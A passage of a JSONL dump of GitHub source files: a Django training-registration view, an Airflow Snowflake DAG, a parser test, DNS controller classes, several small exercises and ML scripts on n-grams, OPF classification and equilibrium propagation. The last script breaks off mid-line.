reg.user.profile.get_wa_send_link()\n\n url = f\"{wa_link}&text=Hi%20Kaka%20*{nama}*%2C%0A%0ABagaimana%20kabarnya%3F%20Semoga%20sehat%20selalu%20yaa%20%3A)%0A%0APerkenalkan%20saya%20vita%20dari%20IDN.%20Kami%20ingin%20melakukan%20konfirmasi%20bahwa%20kakak%20melakukan%20pendaftaran%20pada%3A%0A%0ATraining%20%3A%20*{training}*%0ATipe%20Training%20%3A%20*{training_type}*%0AJadwal%20%3A%20*{jadwal}*%0A%0AApakah%20kakak%20jadi%20ingin%20ikut%20training%20tersebut%3F%20Jika%20iya%2C%20bisa%20segera%20melakukan%20pembayaran%20ke%20salah%20satu%20rekening%20berikut%20ya%20kak%0A%0A▪%EF%B8%8FBCA%205435040460%20an%20Deny%20Kurnia%20Nawangsari%0A▪%EF%B8%8FMandiri%201170000007724%20an%20Deny%20Kurnia%20Nawangsari%0A%0AKemudian%20kakak%20bisa%20melakukan%20konfirmasi%20pembayaran%20di%20https%3A%2F%2Fmy.idn.id%0A%0AJika%20ada%20pertanyaan%20lebih%20lanjut%2C%20bisa%20reply%20chat%20ini%20ya%20kak%20%3A)\"\n\n return redirect(url)\n\n\n@staff_member_required(login_url=\"accounts:login\")\ndef konfirmasi_pembayaran_manual(request):\n if request.method == \"POST\":\n form = PaymentConfirmManual(request.POST, request.FILES)\n if form.is_valid():\n payment = form.save(commit=False)\n payment.status = 1\n payment.save()\n messages.success(\n request,\n \"Konfirmasi Pembayaran manual Berhasil\",\n )\n return redirect(\"course:list_pembayaran\")\n else:\n form = PaymentConfirmManual()\n return render(request, \"course/payment_confirm_manual.html\", {\"form\": form})\n","repo_name":"ArRosid/idn-dashboard","sub_path":"course/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":27865,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"12788477201","text":"\"\"\"\nThis is the Main DAG for Cosmic Energy Organization to process the public data present in S3 Bucket noaa-ghcn-pds. \n\nThe tasks that it performs are as below:\n1. Check if the Control File ghcnd-version.txt is present in the location s3://noaa-ghcn-pds/\n2. List files starting with prefix ghcnd from s3://noaa-ghcn-pds/\n3. Use Dynamic Task mapping for each of the files returned by Step #2 to do\n 3a. Copy over from the Public Bucket to Cosmic Energy's Incoming Bucket\n 3b. Process and save the files in Cosmic Energy's Outgoing Bucket using Databricks\n4. \n\"\"\"\n\nimport os\nfrom datetime import datetime, timedelta\nfrom include.helpers.callbacks import success_email\nfrom typing import List\nfrom airflow import DAG, XComArg\nfrom airflow.decorators import task\nfrom airflow.models import Variable\n\n# from airflow.operators.bash import BashOperator\nfrom airflow.providers.amazon.aws.transfers.gcs_to_s3 import GCSToS3Operator\nfrom airflow.providers.snowflake.transfers.s3_to_snowflake import S3ToSnowflakeOperator\nfrom airflow.providers.snowflake.operators.snowflake import SnowflakeOperator\n# from airflow.providers.amazon.aws.operators.s3 import S3CopyObjectOperator\n\n\ndefault_args = {\n 'owner': 'Cosmic Energy DE',\n 'email': ['manmeet.rangoola@astronomer.io'],\n 'email_on_failure': False,\n 'sla': timedelta(minutes=30) ## applicable to only scheduled tasks ; relative to DAG Execution Date not Task Start Time\n}\n\nwith DAG('process_gcs_s3_snowflake_data_pipeline'\n , start_date=datetime(2022,8,18)\n , catchup=False\n , max_active_runs=1\n , schedule_interval='@daily'\n , default_args=default_args\n , tags = ['transform', 'daily', 's3', 'snowflake', 'lineage', 'gcs', 'sql'],\n ) as dag:\n\n task_covid_spread=SnowflakeOperator(\n task_id='snowflake_run_sql_from_file_spread',\n sql='sql/covid19/covid_spread.sql',\n snowflake_conn_id='snowflake',\n )\n\n\n task_covid_vacc=SnowflakeOperator(\n task_id='snowflake_run_sql_from_file_vacc',\n sql='sql/covid19/covid_vacc.sql',\n snowflake_conn_id='snowflake',\n )\n\n # The set of files to be processed..\n # In production this set of files can be set via variable or\n # enumerate from the S3 bucket \n in_files = [\n \"index.csv\",\n \"demographics.csv\",\n \"epidemiology.csv\",\n \"vaccinations.csv\"\n ]\n\n for idx, in_file in enumerate(in_files):\n # file_name\n task_copy_files=GCSToS3Operator(\n task_id=\"gcs_to_s3_{}\".format(in_file.split('.')[0]), \n bucket='covid19-open-data',\n delimiter='.csv',\n dest_aws_conn_id='aws_default',\n prefix=f'v3/{in_file}',\n dest_s3_key='s3://astronomer-field-engineering-demo/incoming/covid19/{{ ds_nodash }}',\n replace=True,\n )\n\n task_load_files=S3ToSnowflakeOperator(\n task_id='s3_to_snowflake_{}'.format(in_file.split('.')[0]),\n snowflake_conn_id='snowflake',\n s3_keys=[os.path.join('{{ ds_nodash }}', 'v3', in_file)],\n table='s3_to_snowflake_{}'.format(in_file.split('.')[0]),\n schema='aws_stg_cosmic_energy',\n stage='s3_covid',\n file_format=\"(type = CSV, field_delimiter = ',', SKIP_HEADER=1, FIELD_OPTIONALLY_ENCLOSED_BY='\\\"')\"\n )\n \n task_transform=SnowflakeOperator(\n task_id='snowflake_op_{}'.format(in_file.split('.')[0]),\n sql='sql/covid19/{}.sql'.format(in_file.split('.')[0]),\n snowflake_conn_id='snowflake',\n on_success_callback=success_email\n )\n\n task_copy_files >> task_load_files >> task_transform >> task_covid_spread >> task_covid_vacc\n\n","repo_name":"astronomer/e-pov","sub_path":"dags/lineage_1.py","file_name":"lineage_1.py","file_ext":"py","file_size_in_byte":3726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"463459229","text":"from travel.avia.country_restrictions.lib.types.metric_type import QUARANTINE_REQUIRED\nfrom travel.avia.country_restrictions.lib.types.rich_string import new_rich_text\nfrom travel.avia.country_restrictions.lib.types.metric import Metric\nfrom travel.avia.country_restrictions.parsers.assessors_main.subparsers.parse_quarantine import parser\n\n\ndef test_case_1():\n row = {\n 'has_quarantine': 'yes',\n 'quarantine': {\n 'Для вакцинированных': True,\n 'Для переболевших': True,\n 'Общий карантин для всех': True,\n 'При наличии ПЦР': True,\n },\n 'quarantine_days': {\n 'Для вакцинированных': 0,\n 'Для переболевших': 5,\n 'Общий карантин для всех': 5,\n 'При наличии ПЦР': 1,\n },\n }\n\n actual = parser(context={}, row=row).get(QUARANTINE_REQUIRED.name, None)\n expected = QUARANTINE_REQUIRED.generate_metric(value=5)\n QUARANTINE_REQUIRED.set_for_vaccinated_exclusion(expected, False)\n QUARANTINE_REQUIRED.set_for_having_pcr_exclusion(expected, 1)\n assert actual == Metric(\n value=5,\n text=new_rich_text('Карантин 5 дней'),\n exclusions=[\n new_rich_text('Для вакцинированных: нет карантина'),\n new_rich_text('При наличии ПЦР: карантин 1 день'),\n ],\n additions=[],\n )\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"travel/tests/parsers/assessors_main/subparsers/parse_quarantine_test.py","file_name":"parse_quarantine_test.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"40782742295","text":"#!/usr/bin/env python\n\nimport copy\nimport warnings\nimport numpy as np\nfrom scipy.signal import hann\n\n# Return amplitude normalized version of input signal.\ndef normalize(a):\n \"\"\"Return amplitude normalized version of input signal.\"\"\"\n sf = max(abs(a))\n if sf == 0:\n return a\n return a / sf\n\n# Return numpts (desired = fs * t); but no more than one-third signal duration.\ndef clip_at_third(sig, fs, t):\n \"\"\"Return numpts (desired = fs * t); but no more than one-third signal duration.\"\"\"\n # number of pts to taper (maybe)\n Ndesired = int(fs * t)\n \n # ensure that taper is, at most, a third of signal duration\n third = len(sig) // 3\n if Ndesired > third:\n Nactual = third\n warnings.warn( 'Desired taper %d pts > ~one-third (%d pts) of signal. Just tapering a third of signal duration.' % (Ndesired, Nactual), RuntimeWarning )\n else:\n Nactual = Ndesired\n #print Ndesired, Nactual, len(sig), third\n return Nactual\n\n# Return tapered copy of input signal; taper first & last t seconds.\ndef my_taper(a, fs, t):\n \"\"\"Return tapered copy of input signal; taper first & last t seconds.\"\"\"\n # number of pts to taper (at most, one-third of signal)\n N = clip_at_third(a, fs, t)\n \n # use portion of hann (w) to do the tapering\n w = hann(2*N+1)\n \n # taper both ends of signal copy (leave input alone)\n b = a.copy()\n b[0:N] *= w[0:N]\n b[-N:] *= w[-N:]\n return b\n\n# Return time array derived from sample rate and length of input signal.\ndef timearray(y, fs):\n \"\"\"Return time array derived from sample rate and length of input signal.\"\"\"\n T = len(y) / float(fs) # total time of the signal\n return np.linspace(0, T, len(y), endpoint=False)\n","repo_name":"baluneboy/ugaudio","sub_path":"signal.py","file_name":"signal.py","file_ext":"py","file_size_in_byte":1735,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"8551815786","text":"from typing import Optional\nfrom typing import List\n\n\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\n\nclass Solution:\n def addTwoNumbers(self, l1: Optional[ListNode], l2: Optional[ListNode]) -> Optional[ListNode]:\n s1 = ''\n s2 = ''\n\n temp = l1\n\n while temp:\n s1 += str(temp.val)\n temp = temp.next\n\n temp = l2\n\n while temp:\n s2 += str(temp.val)\n temp = temp.next\n\n s1 = reversed(s1)\n s2 = reversed(s2)\n\n sum = int(''.join(s1)) + int(''.join(s2))\n\n dummy = ListNode()\n temp = dummy\n\n for i in reversed(str(sum)):\n temp.next = ListNode(int(i))\n temp = temp.next\n\n return dummy.next\n\n\n\ndef main():\n l1_1 = ListNode(2)\n l1_2 = ListNode(4)\n l1_3 = ListNode(3)\n\n l1_1.next = l1_2\n l1_2.next = l1_3\n\n l2_1 = ListNode(5)\n l2_2 = ListNode(6)\n l2_3 = ListNode(4)\n\n l2_1.next = l2_2\n l2_2.next = l2_3\n\n addTwoNumbers = Solution()\n addTwoNumbers.addTwoNumbers(l1_1, l2_1)\n\n # head = l1_1\n # while head:\n # print(head.val)\n # head = head.next\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"jeffreytigerwang/Python-Practice","sub_path":"medium/add_two_numbers.py","file_name":"add_two_numbers.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39458401315","text":"MENU = {\n \"espresso\": {\n \"ingredients\": {\n \"water\": 50,\n \"milk\": 0,\n \"coffee\": 18,\n },\n \"cost\": 1.5,\n },\n \"latte\": {\n \"ingredients\": {\n \"water\": 200,\n \"milk\": 150,\n \"coffee\": 24,\n },\n \"cost\": 2.5,\n },\n \"cappuccino\": {\n \"ingredients\": {\n \"water\": 250,\n \"milk\": 100,\n \"coffee\": 24,\n },\n \"cost\": 3.0,\n }\n}\n\nresources = {\n \"water\": 300,\n \"milk\": 200,\n \"coffee\": 100,\n \"money\": 0\n}\n\n\ndef report():\n print(f\"\"\"\nWater: {resources[\"water\"]}mL\nMilk: {resources[\"milk\"]}mL\nCoffee: {resources[\"coffee\"]}g\nMoney: ${resources[\"money\"]}\n \"\"\")\n\n\ndef end_program():\n return\n\n\ndef check_resources(order_ingedients):\n go_time = True\n for item in order_ingedients:\n if resources[item] < order_ingedients[item]:\n print(f'Sorry there is not enough {item}.')\n go_time = False\n return go_time\n\n\ndef calculate_coins(quarter, dime, nickel, penny):\n total = 0\n total += (quarter * 0.25)\n total += (dime * 0.1 )\n total += (nickel * 0.05)\n total += (penny * 0.01)\n return total\n\nmachine_is_on = True\nwhile machine_is_on:\n coffee_order = input(\"What would you like? (espresso/latte/cappuccino): \").lower()\n\n if coffee_order == 'report':\n report()\n continue\n elif coffee_order == 'off':\n exit()\n\n drink = MENU[coffee_order]\n enough_supplies = check_resources(drink['ingredients'])\n if enough_supplies == False:\n continue\n\n quarters = int(input(\"How many quarters?: \"))\n dimes = int(input(\"How many dimes?: \"))\n nickels = int(input(\"How many nickels?: \"))\n pennies = int(input(\"How many pennies?: \"))\n sum_coins = round(calculate_coins(quarters, dimes, nickels, pennies), 2)\n\n if sum_coins < MENU[coffee_order]['cost']:\n print(\"Sorry that's not enough money. Money refunded.\")\n continue\n else:\n # opportunity to use a for loop to tighten up the code\n resources['water'] = resources['water'] - MENU[coffee_order]['ingredients']['water']\n resources['milk'] = resources['milk'] - MENU[coffee_order]['ingredients']['milk']\n resources['coffee'] = resources['coffee'] - MENU[coffee_order]['ingredients']['coffee']\n resources['money'] = resources['money'] + float(MENU[coffee_order]['cost'])\n if sum_coins > MENU[coffee_order]['cost']:\n refund = round(sum_coins - MENU[coffee_order]['cost'], 2)\n print(f\"Here is ${refund} in change.\")\n print(f\"Here is your {coffee_order} ☕. Enjoy!\")\n\n\n\n\n\n","repo_name":"btwmendes/100-Days-of-Code","sub_path":"day_15_coffee_machine/CoffeeMachine/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72260703913","text":"\"\"\"Cloud DNS Sub-Controllers\n\nA cloud's DNS sub-controller handles all calls to libcloud's DNS API by\nsubclassing and extending the `BaseDNSController`.\n\nMost often for each different cloud type, there is a corresponding DNS\ncontroller defined here. All the different classes inherit `BaseDBSController`\nand share a commmon interface, with the exception that some controllers may\nnot have implemented all methods. It is also possible that certain cloud types\ndo not possess their own DNS controller, but rather utilize the base\n`BaseDNSController`.\n\nA DNS controller is initialized given a cloud's main controller, which is\nderived from `BaseController`. That way, all sub-controllers of a given cloud\nwill be interconnected at the main controller's level.\n\nMost of the time a sub-controller will be accessed through a cloud's main\ncontroller, using the `ctl` abbreviation, like this:\n\n cloud = mist.api.clouds.models.Cloud.objects.get(id=cloud_id)\n print cloud.ctl.dns.list_zones()\n\n\"\"\"\n\nimport logging\n\nfrom libcloud.dns.types import Provider\nfrom libcloud.dns.providers import get_driver\n\nfrom mist.api.clouds.controllers.dns.base import BaseDNSController\n\nfrom mist.api.exceptions import BadRequestError\nfrom mist.api.exceptions import RequiredParameterMissingError\n\n\nlog = logging.getLogger(__name__)\n\n\nclass AmazonDNSController(BaseDNSController):\n \"\"\"\n Amazon Route53 specific overrides.\n \"\"\"\n\n def _connect(self):\n return get_driver(Provider.ROUTE53)(self.cloud.apikey,\n self.cloud.apisecret)\n\n def _create_record__prepare_args(self, zone, kwargs):\n \"\"\"\n This is a private method to transform the arguments to the provider\n specific form.\n ---\n \"\"\"\n kwargs['extra'] = {'ttl': kwargs.get('ttl', 0)}\n super(AmazonDNSController, self)._create_record__prepare_args(\n zone, kwargs)\n if kwargs['type'] == 'CNAME':\n kwargs['data'] += '.'\n\n\nclass GoogleDNSController(BaseDNSController):\n \"\"\"\n Google DNS provider specific overrides.\n \"\"\"\n def _connect(self):\n return get_driver(Provider.GOOGLE)(self.cloud.email,\n self.cloud.private_key,\n project=self.cloud.project_id)\n\n def _create_record__prepare_args(self, zone, kwargs):\n \"\"\"\n This is a private method to transform the arguments to the provider\n specific form.\n ---\n \"\"\"\n if kwargs['type'] == 'CNAME':\n kwargs['data'] += '.'\n # For MX records Google requires the data in the form:\n # XX DOMAIN.COM. where XX is the record priority (an integer)\n # and the domain needs to end with a dot, so if it's not there\n # we need to append it.\n if kwargs['type'] == 'MX' and not kwargs['data'].endswith('.'):\n kwargs['data'] += '.'\n data = kwargs.pop('data')\n kwargs['data'] = {'ttl': kwargs.pop('ttl', 0), 'rrdatas': []}\n kwargs['data']['rrdatas'].append(data)\n\n def _list_records__postparse_data(self, pr_record, record):\n \"\"\"Get the provider specific information into the Mongo model\"\"\"\n record.rdata = pr_record.data['rrdatas']\n\n\nclass LinodeDNSController(BaseDNSController):\n \"\"\"\n Linode specific overrides.\n \"\"\"\n\n def _connect(self):\n return get_driver(Provider.LINODE)(self.cloud.apikey)\n\n def _create_zone__prepare_args(self, kwargs):\n if kwargs['type'] == \"master\":\n kwargs['extra'] = {'SOA_Email': kwargs.pop('SOA_Email', \"\")}\n if kwargs['type'] == \"slave\":\n ips = kwargs.pop('master_ips', \"\")\n if not isinstance(ips, list):\n ips = ips.split()\n kwargs['extra'] = {'master_ips': ips}\n\n def _create_record__prepare_args(self, zone, kwargs):\n \"\"\"\n This is a private method to transform the arguments to the provider\n specific form.\n ---\n \"\"\"\n super(LinodeDNSController, self)._create_record__prepare_args(\n zone, kwargs)\n if kwargs['type'] == 'MX':\n parts = kwargs['data'].split(' ')\n if len(parts) == 2:\n kwargs['data'] = parts[1]\n elif len(parts) == 1:\n kwargs['data'] = parts[0]\n else:\n raise BadRequestError('Please provide only the '\n 'mailserver hostname')\n\n\nclass RackSpaceDNSController(BaseDNSController):\n \"\"\"\n RackSpace specific overrides.\n \"\"\"\n\n def _connect(self):\n if self.cloud.region in ('us', 'uk'):\n driver = get_driver(Provider.RACKSPACE_FIRST_GEN)\n region = self.cloud.region\n else:\n if self.cloud.region in ('dfw', 'ord', 'iad'):\n region = 'us'\n elif self.cloud.region == 'lon':\n region = 'uk'\n driver = get_driver(Provider.RACKSPACE)\n return driver(self.cloud.username, self.cloud.apikey, region=region)\n\n def _create_zone__prepare_args(self, kwargs):\n kwargs['extra'] = {'email': kwargs.pop('email', \"\")}\n\n def _create_record__prepare_args(self, zone, kwargs):\n \"\"\"\n This is a private method to transform the arguments to the provider\n specific form.\n ---\n \"\"\"\n super(RackSpaceDNSController, self)._create_record__prepare_args(\n zone, kwargs)\n if kwargs['type'] == 'MX':\n parts = kwargs['data'].split(' ')\n kwargs['extra'] = {'priority': parts[0]}\n kwargs['data'] = parts[1]\n\n\nclass DigitalOceanDNSController(RackSpaceDNSController):\n \"\"\"\n DigitalOcean specific overrides.\n \"\"\"\n\n def _connect(self):\n return get_driver(Provider.DIGITAL_OCEAN)(self.cloud.token)\n\n def _create_record__prepare_args(self, zone, kwargs):\n \"\"\"\n This is a private method to transform the arguments to the provider\n specific form.\n ---\n \"\"\"\n super(DigitalOceanDNSController, self)._create_record__prepare_args(\n zone, kwargs)\n if kwargs['type'] in ['CNAME', 'MX']:\n kwargs['data'] += '.'\n\n def _create_zone__prepare_args(self, kwargs):\n kwargs['domain'] = kwargs['domain'].rstrip('.')\n\n\nclass SoftLayerDNSController(BaseDNSController):\n \"\"\"\n SoftLayer specific overrides.\n \"\"\"\n\n def _connect(self):\n return get_driver(Provider.SOFTLAYER)(self.cloud.username,\n self.cloud.apikey)\n\n def _create_zone__prepare_args(self, kwargs):\n kwargs.pop('type')\n\n\nclass VultrDNSController(RackSpaceDNSController):\n \"\"\"\n Vultr specific overrides.\n \"\"\"\n\n def _connect(self):\n return get_driver(Provider.VULTR)(self.cloud.apikey)\n\n def _create_zone__prepare_args(self, kwargs):\n if not kwargs.get('ip'):\n raise RequiredParameterMissingError('ip')\n kwargs['extra'] = {'serverip': kwargs.pop('ip')}\n","repo_name":"cc-daveloper/mist.io_mist.api","sub_path":"src/mist/api/clouds/controllers/dns/controllers.py","file_name":"controllers.py","file_ext":"py","file_size_in_byte":7052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"31966982752","text":"from collections import defaultdict\nfrom nltk import ngrams\n\ndef cal(cor):\n ngrams = defaultdict(int) # Stores the count of each n-gram\n context = defaultdict(int) # Stores the count of each n-gram context\n \n # Iterate over each sentence in the corpus\n for s in cor:\n words = s.split()\n\n #Iterate over each n-gram in the sentence\n for i in range(len(words) - 2):\n trigram = tuple(words[i:i+3]) # Create a trigram tuple\n ngrams[trigram] +=1 # Increment the count of the trigram\n context[trigram[:2]] +=1 # Increment the count of the context\n print(ngrams)\n print(\"----------------------------------------------------------\")\n print(context)\n probabilities = defaultdict(float)\n\n # Calculate probabilities for each trigram using add-one smoothing (count+1)\n for trigram, count in ngrams.items():\n context_count = context[trigram[:2]] # Count of the context\n probabilities[trigram] = (count + 1) / (context_count + len(ngrams))\n\n return probabilities\n\n# Sample input corpus\ncorpus=[\n\"I love to code\",\n\"Python is a popular programming language\",\n\"Coding is fun\",\n\"I enjoy coding in Python\",\n\"I love to dance\"\n]\n# Calculate trigram probabilities using n-gram smoothing\ntri_pro = cal(corpus)\n# Print the probabilities\nfor t, p in tri_pro.items():\n print(f\"Trigram: {t}, Probability: {p:.4f}\")","repo_name":"Hardin-J/Natural-Language-Processing","sub_path":"ngram-Smoothing.py","file_name":"ngram-Smoothing.py","file_ext":"py","file_size_in_byte":1392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27613884775","text":"def reverse( x: int) -> int:\n\n if len(str(x)) == 1: return x\n\n ans = ''.join(list(reversed(str(x))))\n while ans[0] == str(0):\n ans = ''.join(ans[1:])\n if ans[-1] == \"-\":\n ans = \"-\" + ans[:-1]\n print(f'ans:{ans}')\n if abs(int(ans)) > (2 ** 31 - 1):\n return 0\n return ans\n\n# reverse(100)\n# reverse(-10)\n# reverse(123)","repo_name":"naylormade/practice","sub_path":"reverse.py","file_name":"reverse.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"36066596460","text":"import sqlalchemy as sa\nfrom .query_filter_schema import Series_query_filter\nfrom ... import exceptions, models\n\n\ndef filter_user_rating(query: any, filter_query: Series_query_filter):\n has_sort = ('user_rating_asc' in filter_query.sort or \n 'user_rating_desc' in filter_query.sort)\n if not has_sort:\n return query\n if not filter_query.user:\n raise exceptions.Not_signed_in_exception()\n return filter_user_rating_query(query, filter_query.user.id)\n\n\ndef filter_user_rating_query(query: any, user_id: int):\n return query.join(\n models.Series_user_rating,\n sa.and_(\n models.Series_user_rating.user_id == user_id,\n models.Series.id == models.Series_user_rating.series_id,\n ),\n isouter=True,\n )","repo_name":"thomaserlang/seplis","sub_path":"seplis/api/filter/series/user_rating.py","file_name":"user_rating.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"33340268191","text":"class Solution:\n def atmostKDistinct(self, nums, k):\n left = 0\n freq = defaultdict(int)\n res = 0\n for right in range(len(nums)):\n freq[nums[right]] += 1\n while len(freq) > k:\n freq[nums[left]] -= 1\n if freq[nums[left]] == 0:\n del freq[nums[left]]\n left += 1\n res += right-left+1\n return res\n def subarraysWithKDistinct(self, nums: List[int], k: int) -> int:\n one = self.atmostKDistinct(nums, k)\n two = self.atmostKDistinct(nums, k-1)\n return one-two\n \n","repo_name":"natitedros/Competitive-Programming","sub_path":"Daily Questions/992SubarrayWithKDifferentIntegers.py","file_name":"992SubarrayWithKDifferentIntegers.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"74409387414","text":"import pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom opfython.models import SupervisedOPF\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.metrics import accuracy_score, f1_score, precision_score, recall_score, confusion_matrix\nfrom sklearn.preprocessing import MinMaxScaler,RobustScaler,StandardScaler,MaxAbsScaler,Normalizer\nfrom tabulate import tabulate\nimport numpy as np\n\n\n# Carregar o conjunto de dados\ninput_file = '0-Datasets/DataBase_Tratado.data'\nnames = ['Defeito', 'H2', 'CH4', 'C2H2', 'C2H4', 'C2H6']\ndf = pd.read_csv(input_file, names=names)\n\n# Selecionar as características e o alvo\nfeatures = ['H2', 'CH4', 'C2H2', 'C2H4', 'C2H6']\ntarget = 'Defeito'\nX = df[features].values\ny = df[target].values\n\n# Normalizar manualmente os dados de entrada com a técnica min-max\n#min_values = np.min(X, axis=0)\n#max_values = np.max(X, axis=0)\n#X = (X - min_values) / (max_values - min_values)\n\n# Normalizar manualmente os dados de entrada com a técnica Z-score\nmean_values = np.mean(X, axis=0)\nstd_values = np.std(X, axis=0)\nX = (X - mean_values) / std_values\n\n# Codificar o alvo para que ele seja numérico\nencoder = LabelEncoder()\ny = encoder.fit_transform(y)\n\n# Dividir os dados em conjuntos de treinamento e teste\ntrain_data, test_data, train_labels, test_labels = train_test_split(X, y, test_size=0.3, random_state=42)\n\n# Criar uma instância do classificador OPF supervisionado\nopf = SupervisedOPF(distance='log_squared_euclidean')\n\n# Treinar o classificador OPF usando os dados de treinamento\nopf.fit(train_data, train_labels)\n\n# Testar o classificador OPF com os dados de teste\npredictions = opf.predict(test_data)\n\n# Calcular a precisão, recall e f1_score do classificador\naccuracy = accuracy_score(test_labels, predictions)\nf1 = f1_score(test_labels, predictions, average='weighted')\nprecision = precision_score(test_labels, predictions, average='weighted')\nrecall = recall_score(test_labels, predictions, average='weighted')\n\n# Criar a matriz de confusão\nconf_matrix = confusion_matrix(test_labels, predictions)\nconf_matrix = pd.DataFrame(conf_matrix, index=encoder.classes_, columns=encoder.classes_)\n\n# Imprimir as métricas e a matriz de confusão\nprint(f'A acurácia do classificador OPF é: {accuracy}')\nprint(f'O f1_score do classificador OPF é: {f1}')\nprint(f'A precisão do classificador OPF é: {precision}')\nprint(f'O recall do classificador OPF é: {recall}')\nprint(\"\\nMatriz de confusão:\")\nprint(tabulate(conf_matrix, headers='keys', tablefmt='fancy_grid'))\n","repo_name":"ViniciusKanh/IC_MachineLearning_DGA","sub_path":"4-Classificação/OPF.py","file_name":"OPF.py","file_ext":"py","file_size_in_byte":2525,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6935079857","text":"import argparse\nimport torchvision.datasets as datasets\nimport torchvision.transforms as transforms\nimport torch.optim as optim\nimport pickle\nimport datetime\n\nfrom netClasses import *\nfrom netFunctions import * \nfrom plotFunctions import *\n\n\n#***************ICLR VERSION***************#\n\nparser = argparse.ArgumentParser(description='Equilibrium Propagation with Continual Weight Updates')\n\n# Optimization arguments\nparser.add_argument(\n '--batch-size',\n type=int,\n default=20,\n metavar='N',\n help='input batch size for training (default: 20)')\nparser.add_argument(\n '--test-batch-size',\n type=int,\n default=1000,\n metavar='N',\n help='input batch size for testing (default: 1000)') \nparser.add_argument(\n '--epochs',\n type=int,\n default=1,\n metavar='N',\nhelp='number of epochs to train (default: 1)') \nparser.add_argument(\n '--lr_tab',\n nargs = '+',\n type=float,\n default=[0.05, 0.1],\n metavar='LR',\n help='learning rate (default: [0.05, 0.1])')\nparser.add_argument(\n '--randbeta',\n type=float,\n default=0,\n help='probability of switching beta (defaut: 0)')\n\n# Network arguments\nparser.add_argument(\n '--size_tab',\n nargs = '+',\n type=int,\n default=[10],\n metavar='ST',\n help='tab of layer sizes (default: [10])')\nparser.add_argument(\n '--discrete',\n action='store_true',\n default=False, \n help='discrete-time dynamics (default: False)') \nparser.add_argument(\n '--dt',\n type=float,\n default=0.2,\n metavar='DT',\n help='time discretization (default: 0.2)') \nparser.add_argument(\n '--T',\n type=int,\n default=100,\n metavar='T',\n help='number of time steps in the forward pass (default: 100)')\nparser.add_argument(\n '--Kmax',\n type=int,\n default=25,\n metavar='Kmax',\n help='number of time steps in the backward pass (default: 25)')\nparser.add_argument(\n '--beta',\n type=float,\n default=1,\n metavar='BETA',\n help='nudging parameter (default: 1)') \nparser.add_argument(\n '--activation-function',\n type=str,\n default='sigm',\n metavar='ACTFUN',\n help='activation function (default: sigmoid)')\nparser.add_argument(\n '--no-clamp',\n action='store_true',\n default=False,\n help='clamp neurons between 0 and 1 (default: True)')\nparser.add_argument(\n '--learning-rule',\n type=str,\n default='ep',\n metavar='LR',\n help='learning rule (ep/vf, default: ep)')\nparser.add_argument(\n '--cep',\n action='store_true',\n default=False, \n help='continual ep/vf (default: False)')\nparser.add_argument(\n '--angle',\n type=float,\n default=0,\n help='initial angle between forward and backward weights(defaut: 0)')\n\n#other arguments\nparser.add_argument(\n '--action',\n type=str,\n default='train',\n help='action to execute (default: train)') \nparser.add_argument(\n '--device-label',\n type=int,\n default=0,\n help='selects cuda device (default 0, -1 to select )')\nparser.add_argument(\n '--debug-cep',\n action='store_true',\n default=False, \n help='debug cep (default: False)')\nparser.add_argument(\n '--seed',\n nargs = '+',\n type=int,\n default=[],\n metavar='SEED',\n help='seed (default: None')\nparser.add_argument(\n '--angle-grad',\n action='store_true',\n default=False, \n help='computes initial angle between EP updates and BPTT gradients (default: False)')\n\nargs = parser.parse_args()\n\n\nif not not args.seed:\n torch.manual_seed(args.seed[0])\t\n\n\nbatch_size = args.batch_size\nbatch_size_test = args.test_batch_size\n\nclass ReshapeTransform:\n def __init__(self, new_size):\n self.new_size = new_size\n\n def __call__(self, img):\n return torch.reshape(img, self.new_size)\n \n \nclass ReshapeTransformTarget:\n def __init__(self, number_classes):\n self.number_classes = number_classes\n \n def __call__(self, target):\n target=torch.tensor(target).unsqueeze(0).unsqueeze(1)\n target_onehot=torch.zeros((1,self.number_classes)) \n return target_onehot.scatter_(1, target, 1).squeeze(0)\n\n \n\nmnist_transforms=[torchvision.transforms.ToTensor(),ReshapeTransform((-1,))]\n\ntrain_loader = torch.utils.data.DataLoader(\ntorchvision.datasets.MNIST(root='./data', train=True, download=True,\n transform=torchvision.transforms.Compose(mnist_transforms),\n target_transform=ReshapeTransformTarget(10)),\nbatch_size = args.batch_size, shuffle=True)\n\ntest_loader = torch.utils.data.DataLoader(\ntorchvision.datasets.MNIST(root='./data', train=False, download=True,\n transform=torchvision.transforms.Compose(mnist_transforms),\n target_transform=ReshapeTransformTarget(10)),\nbatch_size = args.test_batch_size, shuffle=True)\n\n\nif args.activation_function == 'sigm':\n def rho(x):\n return 1/(1+torch.exp(-(4*(x-0.5))))\n def rhop(x):\n return 4*torch.mul(rho(x), 1 -rho(x))\n\nelif args.activation_function == 'hardsigm':\n def rho(x):\n return x.clamp(min = 0).clamp(max = 